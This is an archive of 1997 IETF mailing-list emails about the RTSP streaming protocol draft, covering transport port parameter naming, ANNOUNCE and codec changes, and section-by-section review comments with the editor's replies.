Received: from cs.columbia.edu (cs.columbia.edu [128.59.10.13]) by opus.cs.columbia.edu (8.8.5/8.6.6) with ESMTP id HAA20607 for <hgs@opus.cs.columbia.edu>; Wed, 13 Aug 1997 07:57:57 -0400 (EDT)
Received: from zephyr.isi.edu (zephyr.isi.edu [128.9.160.160]) by cs.columbia.edu (8.8.5/8.6.6) with SMTP id HAA08889 for <hgs@cs.columbia.edu>; Wed, 13 Aug 1997 07:57:55 -0400 (EDT)
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA01725>; Wed, 13 Aug 1997 00:48:42 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA01719>; Wed, 13 Aug 1997 00:48:41 -0700
Received: from mail-out2.apple.com (mail-out2.apple.com [17.254.0.51])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id AAA04882
	for <confctrl@ISI.EDU>; Wed, 13 Aug 1997 00:48:40 -0700 (PDT)
Received: from apple.com (A17-128-100-140.apple.com [17.128.100.140])
	by mail-out2.apple.com (8.8.5/8.8.5) with ESMTP id AAA26836;
	Wed, 13 Aug 1997 00:48:35 -0700
Received: from gala.apple.com ([17.128.120.34])
	by apple.com (8.8.5/8.8.5) with ESMTP id AAA17088;
	Wed, 13 Aug 1997 00:48:34 -0700
Received: (from alagu@localhost) by gala.apple.com (8.7.1/8.7.1) id AAA22260; Wed, 13 Aug 1997 00:48:31 -0700
Date: Wed, 13 Aug 1997 00:48:31 -0700 (PDT)
From: Alagu Periyannan <alagu@apple.com>
To: Anders Klemets <klemets@vxtreme.com>
Cc: confctrl@ISI.EDU, Rob Lanphier <robla@prognet.com>
Subject: Re: Thursday MMUSIC/RTSP Agenda
In-Reply-To: <199708130018.RAA14147@vxtreme.com>
Message-Id: <Pine.LNX.3.91.970813004319.22181B-100000@gala.apple.com>
Mime-Version: 1.0
Sender: owner-confctrl@ISI.EDU
Precedence: bulk
Content-Type: TEXT/PLAIN; charset=US-ASCII


Hi all,

I was expecting "port=" to be replaced by "cport="
and "sport=". These would be for the client RTP port
and server RTP port. The RTCP ports for both would
be obtained by adding one.

This would solve the problem mentioned below.

On Tue, 12 Aug 1997, Anders Klemets wrote:

> I have a comment on the Transport-Info field.  If I remember correctly,
> the spec provides for a "cport" parameter, which is the port number
> that the server listens on for RTCP packets.
> 
> What is the clients interpretation of a Transport-Info field where the
> "cport" parameter is missing?  Does it imply cport = port + 1 where
> "port" is the RTP port number that the client supplied in the Transport
> field?
> 
> Also, I don't like the idea of having a "cport" field in the first place.
> It gives the impression that the client is only expected to send RTCP
> packets to the server, and no RTP packets.  But that is not
> necessarily true.
> 
> Consider the case of a unicast connection between a server and a client.
> The client issues the RECORD command and wants to send RTP data to the
> server.  The server might be some recording tool, or the client might
> actually be another server that is trying to replicate its content.
> Or the client might be trying to stage content in the cache of the
> server, which is really a caching RTP proxy, etc, etc.
> 
> For this scenario to work, the client needs to know the port number that
> the server is listening on for RTP data.  The "cport" parameter is
> not really adequate for this.  There needs to be a "port" parameter
> or something like this in the Transport-Info field.
> 
> Anders
> 


--------------719011DF148--


From majordom@ISI.EDU  Wed Aug 13 22:45:21 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA24621>; Wed, 13 Aug 1997 11:47:17 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA24608>; Wed, 13 Aug 1997 11:47:15 -0700
Received: from murrow.prognet.com (prognet.com [205.219.198.1])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id LAA00787
	for <confctrl@isi.edu>; Wed, 13 Aug 1997 11:47:13 -0700 (PDT)
Received: from robla.dev.prognet.com (Laptop-dhcp-240.ietf.de) by murrow.prognet.com with SMTP id AA28299
  (5.67b/IDA-1.5 for <confctrl@isi.edu>); Wed, 13 Aug 1997 11:46:46 -0700
Message-Id: <3.0.3.32.19970813204521.01321048@mail.prognet.com>
X-Sender: robla@mail.prognet.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.3 (32)
Date: Wed, 13 Aug 1997 20:45:21 +0200
To: Henning Schulzrinne <schulzrinne@cs.columbia.edu>,
        Anup Rao <anup@netscape.com>
From: Rob Lanphier <robla@prognet.com>
Subject: Re: [Fwd: Re: Thursday MMUSIC/RTSP Agenda]
Cc: confctrl@ISI.EDU
In-Reply-To: <33F1A9F1.59F8@cs.columbia.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

At 08:34 AM 8/13/97 -0400, Henning Schulzrinne wrote:
>I agree that this port business should be symmetric, with the receiving
>side getting to specify the port (except for multicast). Implicitly,
>RTCP ports are the port numbers + 1.
>
>Maybe something like 
>
>rport = receiving port for data
>sport = sending port for data

I think the constraint of coming up with a five-letter abbreviation is
causing us to come up with really confusing terms for this stuff.  I think
it may be better to start from the other extreme (clarity to the point of
ridiculousness) and then pare down what is truly unnecessary information,
and which terms we can overload without creating hassles.

client-rtp-port:   rtp port on the client
client-rtcp-port:  rtcp port on the client
server-rtp-port:   rtp port on the server
server-rtcp-port:  rtcp port on the server
mutual-rtp-port:   rtp port on the server and on client (multicast only)
mutual-rtcp-port:  rtcp port on the server and on client (multicast only)

I almost should leave the example as an exercise to the reader to see if
these parameters are as intuitive as I think they are.


Unicast Playback SETUP

C->S:  SETUP foo
       Transport: RTP/AVP;client-rtp-port=1756;client-rtcp-port=1757

S->C:  OK
       Transport: RTP/AVP;server-rtcp-port=4057

Multicast Playback SETUP

C->S:  SETUP foo
       Transport: RTP/AVP

S->C:  OK
       Transport:
RTP/AVP;destination=215.215.215.215;mutual-rtp-port=1756;mutual-rtcp-port=1757

Unicast Record SETUP

C->S:  SETUP foo
       Transport: RTP/AVP;client-rtcp-port=1757

S->C:  OK
       Transport: RTP/AVP;server-rtp-port=4056;server-rtcp-port=4057

Multicast Record SETUP

C->S:  SETUP foo
       Transport:
RTP/AVP;destination=215.215.215.215;mutual-rtp-port=1756;mutual-rtcp-port=1757

S->C:  OK
       Transport: RTP/AVP;destination=215.215.215.215

------

Now, one may argue that it is redundant to put the RTCP port when one knows
the RTP port.  I'm realizing that this is an inefficient assumption on
servers which may be serving and recording lots of streams and a
consecutive port search may be a difficult task.  Therefore, in unicast, we
may need to break the consecutive port rule in RTP.

Rob
---
Rob Lanphier               Voice: (206)674-2322         Fax: (206)674-2699
Program Manager-Protocols                         Email: robla@prognet.com
Progressive Networks-Home of RealAudio            Web: http://www.real.com
For more information on firewalls:       http://www.real.com/help/firewall
For more information on RTSP:                     http://www.real.com/rtsp

From majordom@ISI.EDU  Wed Aug 13 10:56:47 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA25085>; Wed, 13 Aug 1997 11:56:53 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA25079>; Wed, 13 Aug 1997 11:56:52 -0700
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20] (may be forged))
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id LAA01211
	for <confctrl@isi.edu>; Wed, 13 Aug 1997 11:56:51 -0700 (PDT)
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.27.35]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id OAA28581; Wed, 13 Aug 1997 14:56:49 -0400 (EDT)
Received: from cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with ESMTP id OAA20154; Wed, 13 Aug 1997 14:56:47 -0400 (EDT)
Message-Id: <33F2036F.3F457A87@cs.columbia.edu>
Date: Wed, 13 Aug 1997 14:56:47 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.02 [en] (X11; I; SunOS 5.5.1 sun4u)
Mime-Version: 1.0
To: Rob Lanphier <robla@prognet.com>
Cc: Henning Schulzrinne <schulzrinne@opus.cs.columbia.edu>,
        Anup Rao <anup@netscape.com>, confctrl@ISI.EDU
Subject: Re: [Fwd: Re: Thursday MMUSIC/RTSP Agenda]
References: <3.0.3.32.19970813204521.01321048@mail.prognet.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Rob Lanphier wrote:
> 

One reason I avoided the use of "client" and "server" in the port names
is since it is possible that a single session serves both (see earlier
discussion). Thus, receive-port and send-port, always viewed from
whoever is sending the data.

> 
> Now, one may argue that it is redundant to put the RTCP port when one knows
> the RTP port.  I'm realizing that this is an inefficient assumption on
> servers which may be serving and recording lots of streams and a
> consecutive port search may be a difficult task.  Therefore, in unicast, we
> may need to break the consecutive port rule in RTP.

A server that serves lots of simultaneous recording sessions would
likely have most of its UDP ports used for RTP/RTCP, so I don't see why
the searching should be an issue (who else, on a large scale, would be
using lots of UDP ports liberally spread around the port number space?)

Thus, I'd be reluctant to give up this simplicity (there are other
reasons not to do this, with firewalls and resource reservation being
two; see Ping's and my paper on RTCP-based resource reservation at
http://www.cs.columbia.edu/~hgs/research/)

> 
> Rob
> ---
> Rob Lanphier               Voice: (206)674-2322         Fax: (206)674-2699
> Program Manager-Protocols                         Email: robla@prognet.com
> Progressive Networks-Home of RealAudio            Web: http://www.real.com
> For more information on firewalls:       http://www.real.com/help/firewall
> For more information on RTSP:                     http://www.real.com/rtsp

-- 
Henning Schulzrinne        email: schulzrinne@cs.columbia.edu
Dept. of Computer Science  phone: +1 212 939-7042 (@Bell Labs: 908 949
8344)
Columbia University        fax:   +1 212 666-0140
New York, NY 10027         URL:   http://www.cs.columbia.edu/~hgs

From majordom@ISI.EDU  Wed Aug 13 10:54:11 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA17681>; Wed, 13 Aug 1997 17:57:29 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA17675>; Wed, 13 Aug 1997 17:57:28 -0700
Received: from vxtreme.com (vxtreme.com [204.163.171.25])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id RAA17273
	for <confctrl@isi.edu>; Wed, 13 Aug 1997 17:57:27 -0700 (PDT)
Received: (from klemets@localhost)
	by vxtreme.com (8.8.5/8.8.5) id RAA08619;
	Wed, 13 Aug 1997 17:54:11 -0700
Date: Wed, 13 Aug 1997 17:54:11 -0700
From: Anders Klemets <klemets@vxtreme.com>
Message-Id: <199708140054.RAA08619@vxtreme.com>
To: Anders Klemets <klemets@vxtreme.com>,
        Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Subject: Re: ANNOUNCE command
Cc: confctrl@ISI.EDU, Rob Lanphier <robla@prognet.com>,
        Anup Rao <anup@netscape.com>
References: <199708130102.SAA14796@vxtreme.com>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

> For the codec changes, you would seem to be better off not reusing an
> existing PT for a new codec. There are plenty of dynamic PTs around, so
> I don't see the need to try to synchronize announcements and codec
> changes that closely.

Yes, if the RTP payload type of the codec changes, then the client
might not need to know the sequence number of the first packet that
contains data encoded with the new codec.  But consider the case where
all that is changed is some codec parameter.  Such as the sampling
rate for audio, or the colordepth for video.  The RTP payload type
will stay the same in this case.

Anders

From majordom@ISI.EDU  Wed Aug 13 18:21:00 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA19952>; Wed, 13 Aug 1997 19:21:19 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA19946>; Wed, 13 Aug 1997 19:21:18 -0700
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id TAA19596
	for <confctrl@isi.edu>; Wed, 13 Aug 1997 19:21:17 -0700 (PDT)
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.27.35]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id WAA19337; Wed, 13 Aug 1997 22:21:09 -0400 (EDT)
Received: from cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with ESMTP id WAA23335; Wed, 13 Aug 1997 22:21:04 -0400 (EDT)
Message-Id: <33F26B8C.578C2C05@cs.columbia.edu>
Date: Wed, 13 Aug 1997 22:21:00 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.02 [en] (X11; I; SunOS 5.5.1 sun4u)
Mime-Version: 1.0
To: Anders Klemets <klemets@vxtreme.com>
Cc: confctrl@ISI.EDU, Rob Lanphier <robla@prognet.com>,
        Anup Rao <anup@netscape.com>
Subject: Re: ANNOUNCE command
References: <199708130102.SAA14796@vxtreme.com> <199708140054.RAA08619@vxtreme.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Anders Klemets wrote:
> 
> > For the codec changes, you would seem to be better off not reusing an
> > existing PT for a new codec. There are plenty of dynamic PTs around, so
> > I don't see the need to try to synchronize announcements and codec
> > changes that closely.
> 
> Yes, if the RTP payload type of the codec changes, then the client
> might not need to know the sequence number of the first packet that
> contains data encoded with the new codec.  But consider the case where
> all that is changed is some codec parameter.  Such as the sampling
> rate for audio, or the colordepth for video.  The RTP payload type
> will stay the same in this case.

Given that we have dynamic PTs, anything that requires outside
information to understand SHOULD generate a new PT. Since PTs have fixed
sampling rates, changing the sampling rate most certainly falls into
this category. (MPEG audio is an exception, since all MPEG audio has a
TS rate of 90 kHz, but presumably MPEG audio packet are self-describing
in that regard.) Thus, if you need new outside information to parse a
packet, it should get a new PT. As I said, we went through this
discussion a few years ago and all such synchronization mechanisms tend
to fail badly with differential delays, besides being complex to
implement.

> 
> Anders

-- 
Henning Schulzrinne        email: schulzrinne@cs.columbia.edu
Dept. of Computer Science  phone: +1 212 939-7042 (@Bell Labs: 908 949
8344)
Columbia University        fax:   +1 212 666-0140
New York, NY 10027         URL:   http://www.cs.columbia.edu/~hgs

From majordom@ISI.EDU  Wed Aug 13 12:20:09 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA20022>; Wed, 13 Aug 1997 19:24:05 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA20016>; Wed, 13 Aug 1997 19:24:04 -0700
Received: from vxtreme.com (vxtreme.com [204.163.171.25])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id TAA19651
	for <confctrl@isi.edu>; Wed, 13 Aug 1997 19:24:03 -0700 (PDT)
Received: (from klemets@localhost)
	by vxtreme.com (8.8.5/8.8.5) id TAA09280;
	Wed, 13 Aug 1997 19:20:09 -0700
Date: Wed, 13 Aug 1997 19:20:09 -0700
From: Anders Klemets <klemets@vxtreme.com>
Message-Id: <199708140220.TAA09280@vxtreme.com>
To: confctrl@ISI.EDU
Subject: Miscellanous RTSP comments
Cc: anup@netscape.com, robla@prognet.com, schulzrinne@opus.cs.columbia.edu
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

I have a number of miscellanous comments on the RTSP draft.

Section 12.6.  There is a "Bandwidth" parameter that is sent from
the server to the client.  How is this suposed to be used?  Is the
idea that the client might use the bandwidth value as a parameter in
an RSVP reservation?  I would like it to be possible for the client
to send the "Bandwidth" parameter to the server as well.  This
would be used by the client to tell the server what its bandwidth
constraints are.  The server can use this information to select a
version of the stream that suits the client.

Section 12.36.  The "Transport-Info" field contains a "stream-id"
parameter.  I am a little bit confused here.  What exactly is this?
Is it the same thing as the "channel identifier" that is used when
interleaving RTP over the RTSP connection?  Or does it have something
to do with the session id?  

I think if you are sending an "aggregate" PLAY command, you will
receive multiple "Transport-Info" headers, one for each stream.
There needs to be a way to know which stream a particular 
"Transport-Info" header refers to.  The spec says that the response 
to the SETUP command may return an "ssrc" parameter.  This parameter
could be used in lieu of the "stream-id" in "Transport-Info" in order
to associate it with a particular stream.

Section 12.35.  The BNF syntax for the "Transport" field does not
include the "interleaved" parameter, and the text does not explain
the usage of the "channel" parameter.

Section 12.34.  The "Session" header.  The text should mention that
there is a "Session Not Found" error message.

Section 12.11.  "Conference" header.  The spec should probably
specify a "Conference Not Found" error message.

Section 10.4 & 10.5.  SETUP and PLAY commands.  The examples given
in these sections do not include the "Session-Id" parameter.  This
is confusing.  What does it mean if "Session-Id" is left unspecified?
I think it should be a protocol error.

Section 10.10, Appendix 1 & Appendix 2.  REDIRECT command.  Does the
REDIRECT command cause a state change in either the client or the
server?  The tables in the appendix do not show anything.  Should
the client send a TEARDOWN command after having received a REDIRECT?
I guess the answer is Yes, but the spec ought to be more specific
here.

Section 14.5.  RECORD command example.  This example uses the
DESCRIBE command in a strange way.  I think it should use ANNOUNCE
instead.  The spec does not make clear in which ways ANNOUNCE and
RECORD may fail.  I see that an error code "409 Conflict" has been
defined.  But the spec does not elaborate on its usage.  For instance,
Table 1 says that error 409 is only supposed to be returned by the
RECORD command.  But what about the ANNOUNCE command?  If the RECORD
command returns 409, ANNOUNCE must do so too, otherwise the data 
stored on the server will be left in an inconsistent state.

In addition, it might be useful to have a "2xx Low on disk space"
return code.  The server can estimate how much disk space it needs
for a recording, if the RECORD command contains a "Range" parameter
and a "Bandwidth" parameter.  It can save the user a lot of grief
if he can be warned that there might not be enough disk space.

Anders

From majordom@ISI.EDU  Thu Aug 14 12:16:54 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA26316>; Thu, 14 Aug 1997 01:17:31 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA26310>; Thu, 14 Aug 1997 01:17:30 -0700
Received: from pbinfo (uni-paderborn.de [131.234.22.30])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id BAA26715
	for <confctrl@isi.edu>; Thu, 14 Aug 1997 01:17:28 -0700 (PDT)
From: cortes@uni-paderborn.de
Received: from IDENT-NONSENSE@freeway (port 52727 [131.234.72.33]) by pbinfo.uni-paderborn.de with ESMTP id <52463-6725>; Thu, 14 Aug 1997 10:17:02 +0200
Received: (from cortes@localhost) by freeway.uni-paderborn.de (8.7.5/8.7.3) id KAA26224 for confctrl@isi.edu; Thu, 14 Aug 1997 10:16:55 +0200 (MET DST)
Message-Id: <199708140816.KAA26224@freeway.uni-paderborn.de>
Subject: More Miscellanous RTSP comments
To: confctrl@ISI.EDU
Date: Thu, 14 Aug 1997 10:16:54 +0200 (MET DST)
X-Mailer: ELM [version 2.4 PL25 PGP2]
Content-Type: text
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



Section 12.18 Expires.

	It's a nice cut & paste from the HTTP specification where
'the response' is substituted by 'the media stream'.

	It's ok if that's what you really meant, but this meaning
is not all that clear if the media stream is the cached object
we are talking about.

	First of all, it's no so easy to cache the media stream,
(It's possible, but it should be specified in what manner, and in
which cases, ... and not only how to cache it, but how to use it
when a new request come before it has expired) and, second,
it should be specified which responses will include this header
(those to SETUPs, or to PLAYs?) as they refer to a different entity
than the request they are part of. 


	If 'Expires' was not meant to refer the 'media stream', but
the response, then it should be aplicable only to the
DESCRIBE response (according to chapter 13).


-- 
Francisco Cortes (Paco)			Hoehenstr. 17a
					33098 Paderborn
cortes@uni-paderborn.de			Tln. +49 5251 670933
===
PGP fingerprint  69 B9 77 98 D7 6A 8F CF  32 78 43 85 4E 7C E0 96


From majordom@ISI.EDU  Fri Aug 15 17:00:14 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA01359>; Fri, 15 Aug 1997 19:01:19 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA01344>; Fri, 15 Aug 1997 19:01:18 -0700
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id SAA09513
	for <confctrl@ISI.EDU>; Fri, 15 Aug 1997 18:02:07 -0700 (PDT)
Received: from research.research.bell-labs.com ([135.104.1.3]) by dirty; Fri Aug 15 21:00:10 EDT 1997
Received: from peerless.dnrc.bell-labs.com ([135.180.8.3]) by research; Fri Aug 15 21:00:15 EDT 1997
Received: from muskie.dnrc.bell-labs.com (muskie.dnrc.bell-labs.com [135.180.144.94]) by peerless.dnrc.bell-labs.com (8.7.5/8.7.3) with ESMTP id VAA11022; Fri, 15 Aug 1997 21:00:15 -0400 (EDT)
Received: from cs.columbia.edu (localhost [127.0.0.1]) by muskie.dnrc.bell-labs.com (8.7.5/8.7.3) with ESMTP id VAA12363; Fri, 15 Aug 1997 21:00:14 -0400 (EDT)
Message-Id: <33F4FB9E.7DD2FDFD@cs.columbia.edu>
Date: Fri, 15 Aug 1997 21:00:14 -0400
From: "Henning Schulzrinne (BL)" <schulzrinne@cs.columbia.edu>
Organization: Lucent / Bell Labs, USA
X-Mailer: Mozilla 4.02 [en] (X11; I; SunOS 5.5.1 sun4u)
Mime-Version: 1.0
To: cortes@uni-paderborn.de
Cc: confctrl@ISI.EDU
Subject: Re: More Miscellanous RTSP comments
References: <199708140816.KAA26224@freeway.uni-paderborn.de>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

cortes@uni-paderborn.de wrote:
> 
> Section 12.18 Expires.
> 
>         It's a nice cut & paste from the HTTP specification where
> 'the response' is substituted by 'the media stream'.
> 
>         It's ok if that's what you really meant, but this meaning
> is not all that clear if the media stream is the cached object
> we are talking about.
> 
>         First of all, it's no so easy to cache the media stream,

Why, in particular, is it difficult to cache media streams? There are
some particular issues, such as dealing with 'holes' left by
random-access PLAY, but did you have anything else in mind?

> (It's possible, but it should be specified in what manner, and in
> which cases, ... and not only how to cache it, but how to use it
> when a new request come before it has expired) and, second,
> it should be specified which responses will include this header
> (those to SETUPs, or to PLAYs?) as they refer to a different entity
> than the request they are part of.
> 
>         If 'Expires' was not meant to refer the 'media stream', but
> the response, then it should be aplicable only to the
> DESCRIBE response (according to chapter 13).

This is indeed fuzzy. I see several possibilities:

(1) Expiration of ANNOUNCE/DESCRIBE is the same as that of the stream.
I.e., the media stream is no longer valid after its description has
expired. This would seem to be sensible in most cases. Thus, the Expires
header would, as currently listed, only appear in an ANNOUNCE request or
a DESCRIBE response. However, not all streams require DESCRIBE.

(2) The two are kept separate. "Expires" in a SETUP response indicates
the expiration of the media stream. This is more flexible, I think, as
it allows media content to expire without the description having been
updated. (E.g., a news broadcast updated on the hour would likely
maintain the same description; there is no reason to refetch it hourly.)

Similar considerations apply to Modified-Since:


> 
> --
> Francisco Cortes (Paco)                 Hoehenstr. 17a

-- 
Henning Schulzrinne         email: schulzrinne@cs.columbia.edu
Dept. of Computer Science   phone: +1 908 949 8344 (at Bell Labs)
Columbia University         fax:   +1 212 666-0140
New York, NY 10027          URL:   http://www.cs.columbia.edu/~hgs

From majordom@ISI.EDU  Fri Aug 15 16:31:21 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA01702>; Fri, 15 Aug 1997 19:37:33 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA04358>; Fri, 15 Aug 1997 17:32:16 -0700
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id RAA08936
	for <confctrl@ISI.EDU>; Fri, 15 Aug 1997 17:32:10 -0700 (PDT)
Received: from research.research.bell-labs.com ([135.104.1.3]) by dirty; Fri Aug 15 20:31:19 EDT 1997
Received: from boole.dnrc.bell-labs.com ([135.180.161.25]) by research; Fri Aug 15 20:31:22 EDT 1997
Received: from muskie.dnrc.bell-labs.com (muskie.dnrc.bell-labs.com [135.180.144.94]) by boole.dnrc.bell-labs.com (8.7.5/8.7.3) with ESMTP id UAA17287; Fri, 15 Aug 1997 20:31:22 -0400 (EDT)
Received: from cs.columbia.edu (localhost [127.0.0.1]) by muskie.dnrc.bell-labs.com (8.7.5/8.7.3) with ESMTP id UAA12219; Fri, 15 Aug 1997 20:31:21 -0400 (EDT)
Message-Id: <33F4F4D9.385ECE34@cs.columbia.edu>
Date: Fri, 15 Aug 1997 20:31:21 -0400
From: "Henning Schulzrinne (BL)" <schulzrinne@cs.columbia.edu>
Organization: Lucent / Bell Labs, USA
X-Mailer: Mozilla 4.02 [en] (X11; I; SunOS 5.5.1 sun4u)
Mime-Version: 1.0
To: Anders Klemets <klemets@vxtreme.com>
Cc: confctrl@ISI.EDU, anup@netscape.com, robla@prognet.com
Subject: Re: Miscellanous RTSP comments
References: <199708140220.TAA09280@vxtreme.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Anders Klemets wrote:
> 
> I have a number of miscellanous comments on the RTSP draft.

Thanks for your careful reading.

> 
> Section 12.6.  There is a "Bandwidth" parameter that is sent from
> the server to the client.  How is this suposed to be used?  Is the
> idea that the client might use the bandwidth value as a parameter in
> an RSVP reservation?  I would like it to be possible for the client
> to send the "Bandwidth" parameter to the server as well.  This
> would be used by the client to tell the server what its bandwidth
> constraints are.  The server can use this information to select a
> version of the stream that suits the client.

The bandwidth header is a "R" (Request) header and thus sent from client
to server. I'm not sure the opposite direction makes a lot of sense.

> 
> Section 12.36.  The "Transport-Info" field contains a "stream-id"
> parameter.  I am a little bit confused here.  What exactly is this?
> Is it the same thing as the "channel identifier" that is used when
> interleaving RTP over the RTSP connection?  Or does it have something
> to do with the session id?

This is last-minute editing, left-over from the stream-id discussion.
Please ignore for now.

> 
> I think if you are sending an "aggregate" PLAY command, you will
> receive multiple "Transport-Info" headers, one for each stream.
> There needs to be a way to know which stream a particular
> "Transport-Info" header refers to.  The spec says that the response
> to the SETUP command may return an "ssrc" parameter.  This parameter
> could be used in lieu of the "stream-id" in "Transport-Info" in order
> to associate it with a particular stream.
> 
> Section 12.35.  The BNF syntax for the "Transport" field does not
> include the "interleaved" parameter, and the text does not explain
> the usage of the "channel" parameter.

Fixed. Now interleaved=channel

> 
> Section 12.34.  The "Session" header.  The text should mention that
> there is a "Session Not Found" error message.

Added.

> 
> Section 12.11.  "Conference" header.  The spec should probably
> specify a "Conference Not Found" error message.

Was there: 452; pointer added.

> 
> Section 10.4 & 10.5.  SETUP and PLAY commands.  The examples given
> in these sections do not include the "Session-Id" parameter.  This
> is confusing.  What does it mean if "Session-Id" is left unspecified?
> I think it should be a protocol error.

I added the Session: header. However, omission is not a protocol error;
I added:

A server does not have to set up a session identifier if it has other 
means of identifying a session, such as dynamically generated URLs.

> 
> Section 10.10, Appendix 1 & Appendix 2.  REDIRECT command.  Does the
> REDIRECT command cause a state change in either the client or the
> server?  The tables in the appendix do not show anything.  Should
> the client send a TEARDOWN command after having received a REDIRECT?
> I guess the answer is Yes, but the spec ought to be more specific
> here.

The current text says: " Receiving a {\sf REDIRECT} from the server is
equivalent
to receiving a 3xx redirect status from the server." (goes to Init) All
other state changes are initiated by client action, so this doesn't
quite fit the table.

> 
> Section 14.5.  RECORD command example.  This example uses the
> DESCRIBE command in a strange way.  I think it should use ANNOUNCE
> instead.  The spec does not make clear in which ways ANNOUNCE and
> RECORD may fail.  I see that an error code "409 Conflict" has been
> defined.  But the spec does not elaborate on its usage.  For instance,
> Table 1 says that error 409 is only supposed to be returned by the
> RECORD command.  But what about the ANNOUNCE command?  If the RECORD
> command returns 409, ANNOUNCE must do so too, otherwise the data
> stored on the server will be left in an inconsistent state.

It is not quite clear to me yet what the appropriate model is for
recording a group of streams. How, it at all, should stream groups be
expressed when recording? Since ANNOUNCE doesn't create/change state, it
seems inappropriate to attach semantics to it.

SETUP rtsp://foo/audio
Transport: RTP/AVP/UDP;destination=224.2.0.1;???port=3456

SETUP rtsp://foo/video
Transport: RTP/AVP/UDP;destination=224.2.1.1;???port=38385

(The parameter name "destination" seems be ill-chosen, unfortunately.)

What should a server do with an ANNOUNCE? One possibility: Attach it as
meta-information to the recorded file. In that case, it should probably
be issued after the SETUP.

> 
> In addition, it might be useful to have a "2xx Low on disk space"
> return code.  The server can estimate how much disk space it needs
> for a recording, if the RECORD command contains a "Range" parameter
> and a "Bandwidth" parameter.  It can save the user a lot of grief
> if he can be warned that there might not be enough disk space.

If the RECORD request contains a Range parameter, the server could
simply compute the amount of time it can record, put that in the Range
header in the normal fashion. I added 250 Low On Storage Space.

> 
> Anders

-- 
Henning Schulzrinne         email: schulzrinne@cs.columbia.edu
Dept. of Computer Science   phone: +1 908 949 8344 (at Bell Labs)
Columbia University         fax:   +1 212 666-0140
New York, NY 10027          URL:   http://www.cs.columbia.edu/~hgs

From majordom@ISI.EDU  Mon Aug 18 12:45:26 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA00131>; Mon, 18 Aug 1997 01:45:51 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA00125>; Mon, 18 Aug 1997 01:45:50 -0700
Received: from pbinfo (uni-paderborn.de [131.234.22.30])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id BAA21226
	for <confctrl@isi.edu>; Mon, 18 Aug 1997 01:45:49 -0700 (PDT)
From: cortes@uni-paderborn.de
Received: from IDENT-NONSENSE@freeway (port 62052 [131.234.72.33]) by pbinfo.uni-paderborn.de with ESMTP id <52478-21822>; Mon, 18 Aug 1997 10:45:41 +0200
Received: (from cortes@localhost) by freeway.uni-paderborn.de (8.7.5/8.7.3) id KAA28867; Mon, 18 Aug 1997 10:45:27 +0200 (MET DST)
Message-Id: <199708180845.KAA28867@freeway.uni-paderborn.de>
